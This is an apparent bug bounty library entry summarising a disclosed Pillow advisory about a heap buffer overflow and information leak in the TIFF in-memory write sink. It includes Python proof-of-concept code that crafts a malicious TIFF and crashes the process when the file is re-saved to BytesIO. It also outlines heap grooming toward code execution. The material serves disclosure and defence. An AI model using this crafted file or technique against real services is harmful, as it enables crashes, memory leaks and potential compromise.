# Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO

Pillow's _tiffWriteProc sizes realloc from state->size instead of state->loc, so saving a crafted TIFF to BytesIO overflows the heap and leaks stale bytes.

- Payout: Research
- Severity: critical
- Program: Pillow
- Found by: carlini, Tomer-PL
- Disclosed: 2026-10-21
- CVE: CVE-2026-112393
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-332p-7hrc-92wf
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-332p-7hrc-92wf
- Tags: area:oss domain:oss impact:dos impact:rce kind:research platform:ghsa sev:critical tech:python technique:chained technique:source-review vuln:info-disclosure vuln:memory-corruption

**Target:** libtiff in-memory write sink (_tiffWriteProc) in Pillow's TiffDecode.c
**Root cause:** _tiffWriteProc grows the buffer to state->size + write_len rather than state->loc + write_len, so a write after libtiff seeks past EOF lands past the allocation; realloc'd tail is also left uninitialised, leaking heap bytes into skipped padding holes.
**Steps:**
1. Build a mode L 7x8191 PackBits TIFF with a 65535-char ImageDescription so the re-encoded strip is exactly 65536 bytes and the IFD is 126 bytes.
2. Run `Image.open("upload.tif").save(io.BytesIO(), "TIFF")` with no options.
3. Observe glibc `malloc(): corrupted top size` / ASan heap-buffer-overflow WRITE of size 65536 at TiffDecode.c:115, 0 bytes to the right of a 131072-byte realloc block.
4. For the leak: save a 300x300 RGB image with `compression="tiff_lzw"` and odd-length ASCII tags to BytesIO under `MALLOC_PERTURB_=170`; pad offsets contain 0x55 instead of 0x00 under MALLOC_PERTURB_=170.
**How found:** Noticed the memory sink treats libtiff's seek-past-EOF like a file but sizes realloc from state->size instead of state->loc; gdb trace of sink calls showed the write at loc=65662 into a 131072-byte block, 126 bytes past the end, and MALLOC_PERTURB_ experiments exposed uninitialised pad bytes.
**Exploitation:** Attacker uploads a crafted TIFF to a service that re-saves it as TIFF into a non-file sink (BytesIO/HTTP response). The out-of-line tag value (ImageDescription/DocumentName/XMP, or ICC profile surviving copy()) is written past the heap block by IFD-size bytes. With two addresses leaked from a separate bug, the 2384-byte overflow rewrites libtiff's TIFF struct (tif_cleanup = system) and libtiff calls system() with the attacker command during TIFFWriteDirectorySec; demonstrated RCE against a stdlib http.server worker (proof-of-concept not included in the report).
**Escalation:** Heap grooming via ~500 private IFD entries (each parsed into bytes objects, freed on duplicate tags, IFD parsed three times) to place the 128 KiB realloc below a live chunk and libtiff's TIFF handle, turning the OOB write into control of tif_cleanup for code execution.
**Insight:** When a library emulates file semantics over an in-memory buffer, check every seek/write callback against sparse-file behaviour: capacity must be computed from the write offset, not current size, and gaps must be zero-filled — libtiff legitimately seeks past EOF when writing IFDs.

## Proof of concept (copied exactly from the original report)

**Crafting upload.tif with 65535-char ImageDescription**

```
w, h = 7, 8191
    # 7 distinct bytes per row -> PackBits can only emit one literal run: 1 + 7 bytes
    strip = b"".join(b"\x06" + bytes((y * 7 + x) * 37 & 0xFF for x in range(w)) for y in range(h))
    desc = b"D" * 65535 + b"\x00"
    strip_off, desc_off = 8, 8 + len(strip)
    ifd_off = desc_off + len(desc)
    entries = [
        (256, 4, 1, w),                  # ImageWidth
        (257, 4, 1, h),                  # ImageLength
        (258, 3, 1, 8),                  # BitsPerSample
        (259, 3, 1, 32773),              # Compression = PackBits (inherited by save())
        (262, 3, 1, 1),                  # PhotometricInterpretation = BlackIsZero
        (270, 2, len(desc), desc_off),   # ImageDescription (carried into save() via tag_v2)
        (273, 4, 1, strip_off),          # StripOffsets
        (277, 3, 1, 1),                  # SamplesPerPixel
        (278, 4, 1, h),                  # RowsPerStrip
        (279, 4, 1, len(strip)),         # StripByteCounts
    ]
    ifd = struct.pack("<H", len(entries))
    ifd += b"".join(struct.pack("<HHII", *e) for e in entries)
    ifd += struct.pack("<I", 0)
    with open("upload.tif", "wb") as f:
        f.write(struct.pack("<2sHI", b"II", 42, ifd_off) + strip + desc + ifd)
```

**Save to BytesIO triggering overflow**

```
RESAVE = 'from PIL import Image; import io; Image.open("upload.tif").save({target}, "TIFF")'

# Control: saving to a file path (real fd, no memory sink) works
control = run(RESAVE.format(target='"out.tif"'))
print(f"save to file path : exit code {control.returncode}, out.tif = {os.path.getsize('out.tif')} bytes")

# PoC: the identical save into a BytesIO
poc = run(RESAVE.format(target="io.BytesIO()"))
print(f"save to BytesIO   : exit code {poc.returncode}, stderr: {poc.stderr.strip()!r}")
```

